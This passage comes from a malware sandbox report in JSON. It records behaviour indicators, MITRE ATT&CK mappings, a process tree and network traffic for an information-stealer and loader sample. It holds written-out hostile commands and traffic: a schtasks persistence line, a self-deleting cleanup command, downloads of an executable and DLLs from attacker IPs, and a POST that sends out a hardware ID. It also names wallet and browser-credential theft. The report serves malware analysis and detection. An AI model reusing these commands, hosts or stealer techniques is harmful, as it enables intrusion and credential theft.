\"CopyFileA\" to copy %LOCALAPPDATA%\\AVI formatter tool\\aviformattertool.exe to new location %ALLUSERSPROFILE%\\JSON Nested Objects 64\\JSON Nested Objects 64.exe (UID: 00000000-00002764)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ezjeuqf.ua\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"chcp.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$8e","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$8f","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"1f002000b07e8572@mscoreei.dll\"\n \"140015000cc98572@mscoreei.dll\"\n \"13001400f8c88572@mscoreei.dll\"\n \"1300140064c98572@mscoreei.dll\"\n \"0b000c00e4508572@mscoreei.dll\"\n \"150016003ccab96b@ADVAPI32.dll\"\n \"0e000f00eccab96b@ADVAPI32.dll\"\n \"0e000f0048cbb96b@ADVAPI32.dll\"\n \"1100120024d3b96b@ADVAPI32.dll\"\n \"11001200c0d3b96b@ADVAPI32.dll\"\n \"1200130004d4b96b@ADVAPI32.dll\"\n \"120013005cd4b96b@ADVAPI32.dll\"\n \"14001500ecf3b96b@ADVAPI32.dll\"\n \"1400150004f4b96b@ADVAPI32.dll\"\n \"140015001cf4b96b@ADVAPI32.dll\"\n \"1700180034f4b96b@ADVAPI32.dll\"\n \"0d000e004cf4b96b@ADVAPI32.dll\"\n \"0f00100078f5b96b@ADVAPI32.dll\"\n \"14001500b8f5b96b@ADVAPI32.dll\"\n \"14001500d0f5b96b@ADVAPI32.dll\"\n \"0c000d0018f6b96b@ADVAPI32.dll\"\n \"0c000d0028f6b96b@ADVAPI32.dll\"\n \"0e000f0038f6b96b@ADVAPI32.dll\"\n \"18001900a0f7b96b@RPCRT4.dll\"\n \"13001400ccf7b96b@RPCRT4.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"ezjeuqf.ua\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$90","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c \"\"%APPDATA%\\\\Temp\\\\Task.bat\" \"\" on 2024-1-15.10:51:56.854\n \"/c timeout /t 5 & del /f /q \"%TEMP%\\\\nsbEF5F.tmp\" & del \"%ALLUSERSPROFILE%\\\\*.dll\"\" & exit\" on 2024-1-15.23:26:14.586","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"The input sample possibly contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 60614)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"288cccc47bbc1871b439df19ff4df68f076.exe\" connecting to \"\\ThemeApiPort\"\n \"InstallSetup9.exe\" connecting to \"\\ThemeApiPort\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" connecting to \"\\ThemeApiPort\"\n \"BroomSetup.exe\" connecting to \"\\ThemeApiPort\"\n \"tuc4.exe\" connecting to \"\\ThemeApiPort\"\n \"tuc4.tmp\" connecting to \"\\ThemeApiPort\"\n \"nsbEF5F.tmp\" connecting to \"\\ThemeApiPort\"\n \"schtasks.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries COM task scheduler class object","description":"$91","origin":"Registry Access","mitre_attack_id":"T1053","relevance":3,"id":"registry-141","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"InstallSetup9.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002956)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003428)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"InstallSetup9.exe\" called \"InternetReadFile\" with parameter 8192 (UID: 00000000-00002956)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$92","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$93","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"|~N_}]w8u \"------AAKJKJDGCGDBGDHIJKJE\nContent-Disposition: form-data; name=\"hwid\"\n\n2039C540C46F1350827015\n------AAKJKJDGCGDBGDHIJKJE\nContent-Disposition: form-data; name=\"build\"\n\ndefault6\n------AAKJKJDGCGDBGDHIJKJE--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"\"nsbEF5F.tmp\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\MultiDoge\\\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"$98","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"\"nsbEF5F.tmp\" trying to open a file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Local\\GOOGLE\\CHROME\\USER DATA\\LOCAL STATE\"\n \"nsbEF5F.tmp\" trying to open a file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Local\\GOOGLE\\CHROME\\USER DATA\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"malicious","category":"System Destruction","name":"Interacts with the primary disk partition (DR0)","description":"\"aviformattertool.exe\" interacting with \"\\Device\\Harddisk0\\DR0\" using IoControlCode 0x2d1400","origin":"API Call","mitre_attack_id":"T1542.003","relevance":5,"id":"api-59","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"Sets a computer-based training (CBT) hook"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Contains ability to discover network shares"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]}]},"activity":{"stats":{"process_count":50,"spawned_processes_count":50,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":35,"imported_dlls_count":208,"dropped_files_count":0,"extracted_files_count":53,"files_written_count":144,"files_deleted_count":0,"registry_keys_created_count":11,"registry_keys_modified_count":0,"registry_keys_deleted_count":6,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":17,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":7,"dns_resolutions_count":1,"contacted_urls_count":12,"http_requests_count":12},"behavior_tags":["mixloader","commodity","proxy","socks5systemz","loader","broom","amadeyloader","criminal","informationstealer","stealc","downloader","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed","TOR analysis"],"sandbox_reports":[{"id":"683312b0a694cfd8c002881b","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["RUS"],"submit_name":"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb","analysis_start_time":"2025-05-25T12:53:06+00:00","indicators_count":{"informative":244,"suspicious":67,"malicious":11},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed","TOR analysis"],"is_in_unified_schema":true},{"id":"65a507358bb31c93b4098402","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"IL:Trojan.MSILZilla","contacted_countries":["CHE","DEU","GBR","RUS"],"submit_name":"288cccc47bbc1871b439df19ff4df68f076.exe","analysis_start_time":"2024-01-15T10:21:42+00:00","indicators_count":{"informative":206,"suspicious":76,"malicious":25},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.172.128.90","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"address":"185.172.128.53","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"address":"5.42.64.35","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"address":"185.172.128.79","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"address":"152.89.198.214","port":53,"protocol":"UDP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"address":"185.196.8.22","port":80,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"address":"95.216.98.218","port":2023,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]}],"dns_resolutions":[{"domain":"ezjeuqf.ua","address":"185.196.8.22","ttl":300,"country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]}],"http_requests":[{"host":"185.172.128.90","host_ip":"185.172.128.90:80","url":"/cpa/ping.php?substr=nine&s=ab","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: 185.172.128.90\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"host":"185.172.128.53","host_ip":"185.172.128.53:80","url":"/syncUpd.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /syncUpd.exe HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: 185.172.128.53\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"host":"185.172.128.79","host_ip":"185.172.128.79:80","url":"/3886d2276f6914c4.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /3886d2276f6914c4.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJE\nHost: 185.172.128.79\nContent-Length: 215\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"host":"185.172.128.79","host_ip":"185.172.128.79:80","url":"/f059ec3d7eb90876/sqlite3.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /f059ec3d7eb90876/sqlite3.dll HTTP/1.1\nHost: 185.172.128.79\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"host":"185.172.128.79","host_ip":"185.172.128.79:80","url":"/f059ec3d7eb90876/freebl3.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /f059ec3d7eb90876/freebl3.dll HTTP/1.1\nHost: 185.172.128.79\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"host":"185.172.128.79","host_ip":"185.172.128.79:80","url":"/f059ec3d7eb90876/mozglue.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /f059ec3d7eb90876/mozglue.dll HTTP/1.1\nHost: 185.172.128.79\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"host":"185.172.128.79","host_ip":"185.172.128.79:80","url":"/f059ec3d7eb90876/msvcp140.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /f059ec3d7eb90876/msvcp140.dll HTTP/1.1\nHost: 185.172.128.79\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"host":"ezjeuqf.ua","host_ip":"185.196.8.22:80","url":"/search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b52966923b628dfd13c1eb96","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b52966923b628dfd13c1eb96 HTTP/1.1\nHost: ezjeuqf.ua\nUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"host":"185.172.128.79","host_ip":"185.172.128.79:80","url":"/f059ec3d7eb90876/nss3.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /f059ec3d7eb90876/nss3.dll HTTP/1.1\nHost: 185.172.128.79\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"host":"ezjeuqf.ua","host_ip":"185.196.8.22:80","url":"/search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1\nHost: ezjeuqf.ua\nUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"host":"185.172.128.79","host_ip":"185.172.128.79:80","url":"/f059ec3d7eb90876/softokn3.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /f059ec3d7eb90876/softokn3.dll HTTP/1.1\nHost: 185.172.128.79\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"host":"185.172.128.79","host_ip":"185.172.128.79:80","url":"/f059ec3d7eb90876/vcruntime140.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /f059ec3d7eb90876/vcruntime140.dll HTTP/1.1\nHost: 185.172.128.79\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}],"processes":[{"pid":8776,"ppid":0,"name":"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe","command_line":"","sha256":"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb","normalized_path":"C:\\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe","uid":"00000000-00008776","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":8576,"ppid":8776,"name":"InstallSetup9.exe","command_line":"","sha256":"703e3efac22ad8f56c659e0b6f594fe78145170f13a1cc1659576f14e745c5a4","normalized_path":"%TEMP%\\InstallSetup9.exe","parent_uid":"00000000-00008776","uid":"00000000-00008576"},{"pid":8552,"ppid":8576,"name":"BroomSetup.exe","command_line":"","sha256":"50a46b3120da828502ef0caba15defbad004a3adb88e6eacf1f9604572e2d503","normalized_path":"%TEMP%\\BroomSetup.exe","parent_uid":"00000000-00008576","uid":"00000000-00008552"},{"pid":8532,"ppid":8552,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%APPDATA%\\Temp\\Task.bat\" \"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00008552","uid":"00000000-00008532"},{"pid":3464,"ppid":8532,"name":"chcp.com","command_line":"chcp 1251","sha256":"9465ac026770dd4bf54193f02dec5fbf874af69aa690301c4c7ffa686c0f896a","normalized_path":"%WINDIR%\\SysWOW64\\chcp.com","parent_uid":"00000000-00008532","uid":"00000000-00003464"},{"pid":1432,"ppid":8532,"name":"schtasks.exe","command_line":"schtasks /create /tn \"MalayamaraUpdate\" /tr \"'%TEMP%\\Updater.exe'\" /sc minute /mo 30 /F","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00008532","uid":"00000000-00001432"},{"pid":8600,"ppid":8776,"name":"288c47bbc1871b439df19ff4df68f076.exe","command_line":"","sha256":"2a227f3572db255116066570f168c609e433351541508a55b6b83c1c5a0697fa","normalized_path":"%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe","parent_uid":"00000000-00008776","uid":"00000000-00008600"},{"pid":7728,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 480","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00007728"},{"pid":2984,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 484","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00002984"},{"pid":724,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 504","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00000724"},{"pid":6408,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 508","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00006408"},{"pid":7348,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 520","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00007348"},{"pid":4576,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 724","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00004576"},{"pid":6396,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 732","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00006396"},{"pid":7828,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 744","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00007828"},{"pid":8860,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 752","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00008860"},{"pid":8056,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 756","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00008056"},{"pid":7612,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 720","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00007612"},{"pid":6488,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 824","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00006488"},{"pid":8048,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 824","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00008048"},{"pid":8180,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 908","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00008180"},{"pid":8072,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 908","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00008072"},{"pid":6092,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 520","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00006092"},{"pid":7960,"ppid":8600,"name":"WerFault.exe","command_line":"-u -p 8600 -s 520","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008600","uid":"00000000-00007960"},{"pid":8828,"ppid":8776,"name":"tuc4.exe","command_line":"","sha256":"8cfdf1c68bee21c712fd3e94c1e01141cfaf218e3d0edba08ecd9697aa4a62f1","normalized_path":"%TEMP%\\tuc4.exe","parent_uid":"00000000-00008776","uid":"00000000-00008828"},{"pid":1444,"ppid":8828,"name":"tuc4.tmp","command_line":"/SL5=\"$5004C,4603451,54272,%TEMP%\\tuc4.exe\"","sha256":"958c0e917da7df3215b28005fae0acacdba44ce4afa8bcdced6aafc1357d7fee","normalized_path":"%TEMP%\\is-LO8DU.tmp\\tuc4.tmp","parent_uid":"00000000-00008828","uid":"00000000-00001444"},{"pid":8332,"ppid":1444,"name":"net.exe","command_line":"helpmsg 1131","sha256":"08f791037fd70209fd599c4f35088a7332dadfa6be92d073c243c5cc79fefe66","normalized_path":"%WINDIR%\\SysWOW64\\net.exe","parent_uid":"00000000-00001444","uid":"00000000-00008332"},{"pid":7576,"ppid":8332,"name":"net1.exe","command_line":"%WINDIR%\\system32\\net1 helpmsg 1131","sha256":"524061b58841210842f52b7863e51953fcff343b8c2ff46dfe9c8329bb439d46","normalized_path":"%WINDIR%\\SysWOW64\\net1.exe","parent_uid":"00000000-00008332","uid":"00000000-00007576"},{"pid":5060,"ppid":1444,"name":"aviformattertool.exe","command_line":"-i","sha256":"481816a367fb981a94c91ff8e1bead07f70a5f22d3d52fd260f345ff3dbed4f8","normalized_path":"%LOCALAPPDATA%\\AVI formatter tool\\aviformattertool.exe","parent_uid":"00000000-00001444","uid":"00000000-00005060"},{"pid":7844,"ppid":5060,"name":"WerFault.exe","command_line":"-u -p 5060 -s 560","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00005060","uid":"00000000-00007844"},{"pid":8680,"ppid":5060,"name":"WerFault.exe","command_line":"-u -p 5060 -s 